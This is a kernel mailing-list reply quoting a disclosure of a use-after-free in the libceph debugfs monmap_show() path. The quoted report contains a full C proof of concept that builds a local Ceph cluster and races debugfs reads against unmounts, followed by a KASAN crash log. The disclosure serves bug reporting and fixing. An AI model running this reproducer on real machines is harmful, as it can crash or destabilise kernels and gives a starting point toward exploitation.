Re: [PATCH 0/1] libceph: debugfs: monmap_show use-after-free during client teardown

Viacheslav Dubeyko <[email protected]>
Newsgroups org.kernel.vger.ceph-devel
Message-ID <[email protected]>
CC: [email protected]

On Mon, 2026-06-15 at 14:31 +0800, Ren Wei wrote:
> From: Douya Le <[email protected]>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated an issue in net/ceph/debugfs.c.
> The bug is reachable by root on a local system.
> The relevant details are provided below.
> 
> ---- details below ----
> 
> Bug details:
> 
> The bug is in the interaction between `monmap_show()` in
> `net/ceph/debugfs.c` and client teardown in `ceph_destroy_client()` /
> `ceph_monc_stop()`.
> 
> `monmap_show()` reads `client->monc.monmap` under `monc->mutex` for
> the
> `/sys/kernel/debug/ceph/.../monmap` debugfs file and assumes that
> this
> makes the pointer stable while it prints the monitor map.
> 
> During teardown, `ceph_destroy_client()` used to call
> `ceph_monc_stop()` before removing the per-client debugfs files.
> `ceph_monc_stop()` drops `monc->mutex` early and later frees
> `monc->monmap`. This leaves a window where the `monmap` debugfs file
> is
> still reachable, but the backing `monmap` object has already been
> freed.
> A concurrent debugfs read can then enter `monmap_show()`, observe a
> stale non-NULL `monc->monmap` pointer, and dereference freed memory.
> 
> With KASAN enabled, this reproduces as a slab use-after-free read in
> `monmap_show()`.
> 
> Reproducer:
> 
> gcc -O2 -pthread -o mini_poc mini_poc.c
> PANIC_ON_WARN=0 ./mini_poc
> 
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> ------BEGIN mini_poc.c------
> 
> #define _GNU_SOURCE
> 
> #include <dirent.h>
> #include <errno.h>
> #include <fcntl.h>
> #include <pthread.h>
> #include <signal.h>
> #include <stdarg.h>
> #include <stdbool.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <time.h>
> #include <unistd.h>
> 
> #define CEPH_DEBUGFS "/sys/kernel/debug/ceph"
> #define MAX_DAEMONS 8
> #define MAX_CMD 4096
> #define MAX_PATH 512
> #define READ_BUF 4096
> 
> static volatile sig_atomic_t stop_flag;
> static int readers = 64;
> static int workers = 8;
> static int mon_port = 6789;
> static int panic_on_warn;
> static unsigned int mount_hold_us = 50000;
> static char fsid[64];
> static char workdir[MAX_PATH] = "/root/ceph-lab-mini";
> static char base_mnt[MAX_PATH] = "/mnt/ceph-mini";
> static pid_t daemons[MAX_DAEMONS];
> static size_t daemon_count;
> static pthread_t *reader_tids;
> static pthread_t *worker_tids;
> 
> static void trim_newline(char *s)
> {
> 	size_t len;
> 
> 	if (!s)
> 		return;
> 
> 	len = strlen(s);
> 	while (len > 0 && (s[len - 1] == '\n' || s[len - 1] == '\r'
> ||
> 			   s[len - 1] == ' ' || s[len - 1] == '\t'))
> {
> 		s[--len] = '\0';
> 	}
> }
> 
> static void fail(const char *fmt, ...)
> {
> 	va_list ap;
> 
> 	va_start(ap, fmt);
> 	vfprintf(stderr, fmt, ap);
> 	va_end(ap);
> 	fputc('\n', stderr);
> 	exit(1);
> }
> 
> static void log_msg(const char *fmt, ...)
> {
> 	va_list ap;
> 
> 	va_start(ap, fmt);
> 	fprintf(stderr, "[mini] ");
> 	vfprintf(stderr, fmt, ap);
> 	fprintf(stderr, "\n");
> 	va_end(ap);
> }
> 
> static int run_cmd(const char *fmt, ...)
> {
> 	va_list ap;
> 	char cmd[MAX_CMD];
> 	int rc;
> 
> 	va_start(ap, fmt);
> 	vsnprintf(cmd, sizeof(cmd), fmt, ap);
> 	va_end(ap);
> 
> 	rc = system(cmd);
> 	if (rc == -1)
> 		return -1;
> 	if (WIFEXITED(rc))
> 		return WEXITSTATUS(rc);
> 	return 255;
> }
> 
> static void must_succeed(const char *fmt, ...)
> {
> 	va_list ap;
> 	char cmd[MAX_CMD];
> 	int rc;
> 
> 	va_start(ap, fmt);
> 	vsnprintf(cmd, sizeof(cmd), fmt, ap);
> 	va_end(ap);
> 
> 	rc = system(cmd);
> 	if (rc == -1)
> 		fail("system failed: %s", cmd);
> 	if (!WIFEXITED(rc) || WEXITSTATUS(rc) != 0)
> 		fail("command failed (%d): %s", rc, cmd);
> }
> 
> static void read_cmd_output(char *buf, size_t buflen, const char
> *fmt, ...)
> {
> 	va_list ap;
> 	char cmd[MAX_CMD];
> 	FILE *fp;
> 
> 	va_start(ap, fmt);
> 	vsnprintf(cmd, sizeof(cmd), fmt, ap);
> 	va_end(ap);
> 
> 	fp = popen(cmd, "r");
> 	if (!fp)
> 		fail("popen failed: %s", cmd);
> 
> 	if (!fgets(buf, (int)buflen, fp)) {
> 		pclose(fp);
> 		fail("no output from command: %s", cmd);
> 	}
> 
> 	if (pclose(fp) == -1)
> 		fail("pclose failed: %s", cmd);
> 
> 	trim_newline(buf);
> }
> 
> static void require_bin(const char *bin)
> {
> 	if (run_cmd("command -v %s >/dev/null 2>&1", bin) != 0)
> 		fail("missing required binary: %s", bin);
> }
> 
> static void kill_daemons(void)
> {
> 	size_t i;
> 
> 	for (i = 0; i < daemon_count; i++) {
> 		if (daemons[i] > 0)
> 			kill(daemons[i], SIGTERM);
> 	}
> 
> 	for (i = 0; i < daemon_count; i++) {
> 		if (daemons[i] > 0)
> 			waitpid(daemons[i], NULL, 0);
> 	}
> 
> 	daemon_count = 0;
> }
> 
> static void cleanup(void)
> {
> 	int i;
> 
> 	stop_flag = 1;
> 	kill_daemons();
> 
> 	for (i = 1; i <= workers; i++) {
> 		run_cmd("timeout 5 umount %s.%d >/dev/null 2>&1",
> base_mnt, i);
> 	}
> 
> 	run_cmd("pkill -f '^ceph-mon -i a ' >/dev/null 2>&1");
> 	run_cmd("pkill -f '^ceph-mgr -i x ' >/dev/null 2>&1");
> 	run_cmd("pkill -f '^ceph-mds -i a ' >/dev/null 2>&1");
> 	run_cmd("pkill -f '^ceph-osd -i 0 ' >/dev/null 2>&1");
> 	run_cmd("rm -rf %s", workdir);
> }
> 
> static void handle_signal(int signo)
> {
> 	(void)signo;
> 	stop_flag = 1;
> }
> 
> static void install_handlers(void)
> {
> 	struct sigaction sa;
> 
> 	memset(&sa, 0, sizeof(sa));
> 	sa.sa_handler = handle_signal;
> 	sigemptyset(&sa.sa_mask);
> 	sigaction(SIGINT, &sa, NULL);
> 	sigaction(SIGTERM, &sa, NULL);
> }
> 
> static pid_t start_daemon(const char *log_path, const char *fmt, ...)
> {
> 	va_list ap;
> 	char cmd[MAX_CMD];
> 	pid_t pid;
> 
> 	if (daemon_count >= MAX_DAEMONS)
> 		fail("too many daemons");
> 
> 	va_start(ap, fmt);
> 	vsnprintf(cmd, sizeof(cmd), fmt, ap);
> 	va_end(ap);
> 
> 	pid = fork();
> 	if (pid < 0)
> 		fail("fork failed");
> 	if (pid == 0) {
> 		int fd = open(log_path, O_CREAT | O_WRONLY |
> O_TRUNC, 0644);
> 		if (fd < 0)
> 			_exit(127);
> 		dup2(fd, STDOUT_FILENO);
> 		dup2(fd, STDERR_FILENO);
> 		close(fd);
> 		execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
> 		_exit(127);
> 	}
> 
> 	daemons[daemon_count++] = pid;
> 	return pid;
> }
> 
> static void wait_for(const char *desc, const char *cmd, int seconds)
> {
> 	int i;
> 
> 	for (i = 0; i < seconds; i++) {
> 		if (stop_flag)
> 			fail("stopped while waiting for %s", desc);
> 		if (run_cmd("%s", cmd) == 0)
> 			return;
> 		sleep(1);
> 	}
> 
> 	fail("timed out waiting for %s", desc);
> }
> 
> static void write_ceph_conf(void)
> {
> 	FILE *fp = fopen("/etc/ceph/ceph.conf", "w");
> 
> 	if (!fp)
> 		fail("failed to open /etc/ceph/ceph.conf");
> 
> 	fprintf(fp,
> 		"[global]\n"
> 		"fsid = %s\n"
> 		"mon host = 127.0.0.1\n"
> 		"public network = 127.0.0.0/8\n"
> 		"auth cluster required = none\n"
> 		"auth service required = none\n"
> 		"auth client required = none\n"
> 		"osd pool default size = 1\n"
> 		"osd pool default min size = 1\n"
> 		"osd crush chooseleaf type = 0\n"
> 		"osd objectstore = memstore\n"
> 		"memstore device bytes = 536870912\n"
> 		"mon_allow_pool_delete = true\n"
> 		"ms_bind_ipv4 = true\n"
> 		"ms_bind_ipv6 = false\n"
> 		"[mon.a]\n"
> 		"mon addr = 127.0.0.1:%d\n"
> 		"mon data = %s/mon.a\n"
> 		"host = syzkaller\n"
> 		"[osd.0]\n"
> 		"host = syzkaller\n"
> 		"osd data = %s/osd0\n"
> 		"[mds.a]\n"
> 		"host = syzkaller\n"
> 		"mds data = %s/mds.a\n"
> 		"[mgr.x]\n"
> 		"host = syzkaller\n"
> 		"mgr data = %s/mgr.x\n",
> 		fsid, mon_port, workdir, workdir, workdir, workdir);
> 
> 	if (fclose(fp) != 0)
> 		fail("failed to write ceph.conf");
> }
> 
> static void setup_cluster(void)
> {
> 	char osd_uuid[64];
> 	char osd_id[32];
> 
> 	log_msg("preparing local CephFS cluster");
> 
> 	must_succeed("rm -rf %s", workdir);
> 	must_succeed("mkdir -p %s/mon.a %s/osd0 %s/mgr.x %s/mds.a",
> 		     workdir, workdir, workdir, workdir);
> 	must_succeed("mkdir -p /etc/ceph /var/log/ceph
> /var/run/ceph");
> 	write_ceph_conf();
> 
> 	must_succeed("monmaptool --create --add a 127.0.0.1:%d --
> fsid %s %s/monmap",
> 		     mon_port, fsid, workdir);
> 	must_succeed("ceph-mon --mkfs -i a --monmap %s/monmap --mon-
> data %s/mon.a --setuser root --setgroup root",
> 		     workdir, workdir);
> 	start_daemon("/var/log/ceph/mon.a.log",
> 		     "exec ceph-mon -i a --mon-data %s/mon.a -f",
> 		     workdir);
> 	wait_for("monitor", "ceph -s >/dev/null 2>&1", 60);
> 
> 	read_cmd_output(osd_uuid, sizeof(osd_uuid), "uuidgen");
> 	must_succeed("sh -c 'ceph osd create %s > /tmp/ceph-osd-
> id.mini'", osd_uuid);
> 	read_cmd_output(osd_id, sizeof(osd_id), "cat /tmp/ceph-osd-
> id.mini");
> 	if (strcmp(osd_id, "0") != 0)
> 		fail("unexpected osd id: %s", osd_id);
> 
> 	must_succeed("ceph-osd -i 0 --mkfs --mkkey --monmap
> %s/monmap --osd-uuid %s --osd-data %s/osd0",
> 		     workdir, osd_uuid, workdir);
> 	start_daemon("/var/log/ceph/osd.0.log",
> 		     "exec ceph-osd -i 0 -f");
> 	wait_for("osd", "sh -c \"ceph osd stat 2>/dev/null | grep -q
> '1 up'\"", 60);
> 
> 	must_succeed("ceph osd crush add osd.0 1 host=syzkaller
> root=default >/dev/null");
> 	start_daemon("/var/log/ceph/mgr.x.log",
> 		     "exec ceph-mgr -i x -f");
> 	must_succeed("ceph osd pool create cephfs_metadata 8
> >/dev/null");
> 	must_succeed("ceph osd pool create cephfs_data 8
> >/dev/null");
> 	must_succeed("ceph fs new cephfs cephfs_metadata cephfs_data
> >/dev/null");
> 	start_daemon("/var/log/ceph/mds.a.log",
> 		     "exec ceph-mds -i a -f");
> 	wait_for("mds", "sh -c \"ceph mds stat 2>/dev/null | grep -q
> 'up:'\"", 60);
> }
> 
> static void *reader_thread(void *arg)
> {
> 	char buf[READ_BUF];
> 	(void)arg;
> 
> 	while (!stop_flag) {
> 		DIR *dir = opendir(CEPH_DEBUGFS);
> 		struct dirent *de;
> 
> 		if (!dir) {
> 			usleep(10000);
> 			continue;
> 		}
> 
> 		while (!stop_flag && (de = readdir(dir)) != NULL) {
> 			char path[MAX_PATH];
> 			ssize_t n;
> 			int fd;
> 
> 			if (de->d_name[0] == '.')
> 				continue;
> 
> 			snprintf(path, sizeof(path), "%s/%s/monmap",
> 				 CEPH_DEBUGFS, de->d_name);
> 			fd = open(path, O_RDONLY | O_CLOEXEC);
> 			if (fd < 0)
> 				continue;
> 
> 			do {
> 				n = read(fd, buf, sizeof(buf));
> 			} while (n > 0 || (n < 0 && errno ==
> EINTR));
> 
> 			close(fd);
> 		}
> 
> 		closedir(dir);
> 	}
> 
> 	return NULL;
> }
> 
> static void *worker_thread(void *arg)
> {
> 	int idx = (int)(long)arg;
> 	char mnt[MAX_PATH];
> 	char cmd[MAX_CMD];
> 	int n;
> 
> 	n = snprintf(mnt, sizeof(mnt), "%s.%d", base_mnt, idx);
> 	if (n < 0 || n >= (int)sizeof(mnt))
> 		fail("mount path too long");
> 	mkdir(mnt, 0755);
> 
> 	while (!stop_flag) {
> 		snprintf(cmd, sizeof(cmd),
> 			 "timeout 20 mount -i -t ceph
> 'guest@%s.cephfs=/' %s "
> 			 "-o
> 'mon_addr=127.0.0.1:%d,ms_mode=legacy,noshare,mount_timeout=20'
> >/dev/null 2>&1",
> 			 fsid, mnt, mon_port);
> 		if (run_cmd("%s", cmd) == 0) {
> 			usleep(mount_hold_us);
> 			run_cmd("timeout 20 umount %s >/dev/null
> 2>&1", mnt);
> 		}
> 	}
> 
> 	return NULL;
> }
> 
> static void parse_env_int(const char *name, int *value, int min, int
> max)
> {
> 	const char *s = getenv(name);
> 	char *end = NULL;
> 	long v;
> 
> 	if (!s || !*s)
> 		return;
> 
> 	v = strtol(s, &end, 0);
> 	if (!end || *end != '\0' || v < min || v > max)
> 		fail("invalid %s: %s", name, s);
> 	*value = (int)v;
> }
> 
> static void prepare_runtime(void)
> {
> 	if (geteuid() != 0)
> 		fail("run as root");
> 
> 	require_bin("ceph");
> 	require_bin("ceph-mon");
> 	require_bin("ceph-mgr");
> 	require_bin("ceph-mds");
> 	require_bin("ceph-osd");
> 	require_bin("monmaptool");
> 	require_bin("mount");
> 	require_bin("umount");
> 	require_bin("mountpoint");
> 	require_bin("uuidgen");
> 	require_bin("timeout");
> 
> 	parse_env_int("READERS", &readers, 1, 4096);
> 	parse_env_int("WORKERS", &workers, 1, 256);
> 	parse_env_int("MON_PORT", &mon_port, 1, 65535);
> 	parse_env_int("PANIC_ON_WARN", &panic_on_warn, 0, 1);
> 
> 	if (getenv("WORKDIR"))
> 		snprintf(workdir, sizeof(workdir), "%s",
> getenv("WORKDIR"));
> 	if (getenv("BASE_MNT"))
> 		snprintf(base_mnt, sizeof(base_mnt), "%s",
> getenv("BASE_MNT"));
> 
> 	read_cmd_output(fsid, sizeof(fsid), "uuidgen");
> 
> 	must_succeed("mountpoint -q /sys/kernel/debug || mount -t
> debugfs none /sys/kernel/debug");
> 	must_succeed("sysctl -w kernel.panic_on_warn=%d >/dev/null",
> panic_on_warn);
> 	must_succeed("sh -c 'echo 8 >/proc/sys/kernel/printk'");
> }
> 
> int main(void)
> {
> 	long i;
> 
> 	install_handlers();
> 	atexit(cleanup);
> 	prepare_runtime();
> 	setup_cluster();
> 
> 	log_msg("cluster is ready; starting %d readers and %d
> workers", readers, workers);
> 
> 	reader_tids = calloc((size_t)readers, sizeof(*reader_tids));
> 	worker_tids = calloc((size_t)workers, sizeof(*worker_tids));
> 	if (!reader_tids || !worker_tids)
> 		fail("calloc failed");
> 
> 	for (i = 0; i < readers; i++) {
> 		if (pthread_create(&reader_tids[i], NULL,
> reader_thread, NULL) != 0)
> 			fail("pthread_create reader failed");
> 	}
> 
> 	for (i = 0; i < workers; i++) {
> 		if (pthread_create(&worker_tids[i], NULL,
> worker_thread, (void *)(i + 1)) != 0)
> 			fail("pthread_create worker failed");
> 	}
> 
> 	for (;;) {
> 		if (stop_flag)
> 			break;
> 		pause();
> 	}
> 
> 	return 0;
> }
> 
> ------END mini_poc.c--------
> 
> ----BEGIN crash log----
> 
> [  613.239991][T14677]
> ==================================================================
> [  613.241882][T14677] BUG: KASAN: slab-use-after-free in
> monmap_show+0x2b9/0x320
> [  613.244065][T14677] Read of size 4 at addr ffff8880588441d0 by
> task mini_poc/14677
> [  613.245758][T14677] CPU: 0 UID: 0 PID: 14677 Comm: mini_poc Not
> tainted 7.1.0-rc6-00222-g512db8267b73 #5 PREEMPT(full)
> [  613.245908][T14677] monmap_show+0x2b9/0x320
> [  613.246010][T14677] full_proxy_read+0x135/0x1a0
> [  613.246058][T14677] ksys_read+0x12a/0x250
> [  613.289570][T14677] Allocated by task 55:
> [  613.294344][T14677]  mon_dispatch+0x18dc/0x2710
> [  613.303567][T14677] Freed by task 14812:
> [  613.309266][T14677]  ceph_destroy_client+0x78/0x160
> [  613.310209][T14677]  destroy_fs_client+0x1e4/0x3b0
> [  613.319394][T14677] The buggy address belongs to the object at
> ffff8880588441c0
> [  613.321942][T14677] The buggy address is located 16 bytes inside
> of
> [  613.321942][T14677]  freed 192-byte region [ffff8880588441c0,
> ffff888058844280)
> [  613.376017][T14677] Memory state around the buggy address:
> [  613.380180][T14677] >ffff888058844180: fc fc fc fc fc fc fc fc fa
> fb fb fb fb fb fb fb
> [  613.386573][T14677]
> ==================================================================
> 
> 
> -----END crash log-----
> 
> Best regards,
> Douya Le
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.